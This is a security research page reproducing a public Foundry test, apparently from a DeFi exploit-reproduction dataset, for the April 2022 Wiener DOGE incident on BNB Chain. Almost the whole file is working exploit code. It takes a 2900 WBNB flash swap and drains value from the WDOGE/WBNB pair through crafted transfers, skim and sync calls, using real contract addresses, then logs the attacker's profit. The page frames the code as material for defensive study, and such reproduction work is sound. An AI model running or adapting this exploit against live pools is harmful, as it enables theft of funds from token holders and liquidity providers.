Skip to content
THREATWIRE

Public reproduction file

src/test/2022-04/Wdoge_exp.sol

Public reproduction file for dataset entry Wiener DOGE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-04/Wdoge_exp.sol37 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity 0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7contract ContractTest is Test {
8 IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
9 IERC20 busd = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
10 IERC20 wdoge = IERC20(0x46bA8a59f4863Bd20a066Fd985B163235425B5F9);
11 address public wdoge_wbnb = 0xB3e708a6d1221ed7C58B88622FDBeE2c03e4DB4d;
12 address public BUSDT_WBNB_Pair = 0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE;
13 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 function setUp() public {
16 cheats.createSelectFork("bsc", 17_248_705); //fork bsc at block 17248705
17 }
19 function testExploit() public {
20 IPancakePair(BUSDT_WBNB_Pair).swap(0, 2900 ether, address(this), "0x");
21 }
23 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
24 emit log_named_uint("After flashswap: WBNB balance of attacker", wbnb.balanceOf(address(this)) / 1e18);
25 wbnb.transfer(wdoge_wbnb, 2900 ether);
26 IPancakePair(wdoge_wbnb).swap(6_638_066_501_837_822_413_045_167_240_755, 0, address(this), "");
27 wdoge.transfer(wdoge_wbnb, 5_532_718_068_557_297_916_520_398_869_451);
28 IPancakePair(wdoge_wbnb).skim(address(this));
29 IPancakePair(wdoge_wbnb).sync();
30 wdoge.transfer(wdoge_wbnb, 4_466_647_961_091_568_568_393_910_837_883);
31 IPancakePair(wdoge_wbnb).swap(0, 2_978_658_352_619_485_704_640, address(this), "");
32 wbnb.transfer(BUSDT_WBNB_Pair, 2908 ether);
33 emit log_named_uint(
34 "After repaying flashswap, Profit: WBNB balance of attacker", wbnb.balanceOf(address(this)) / 1e18
35 );
36 }

Analysis

Dataset entry

Public Foundry test for “Wiener DOGE” (2022-04-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

10 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
Wiener DOGE
Path
src/test/2022-04/Wdoge_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
5d022d3bafed11328be73888e0a12220c29bb429
Language
Solidity
Size
38 lines
Date
2022-04-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2022-04/Wdoge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5d022d3bafed11328be73888e0a12220c29bb429, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.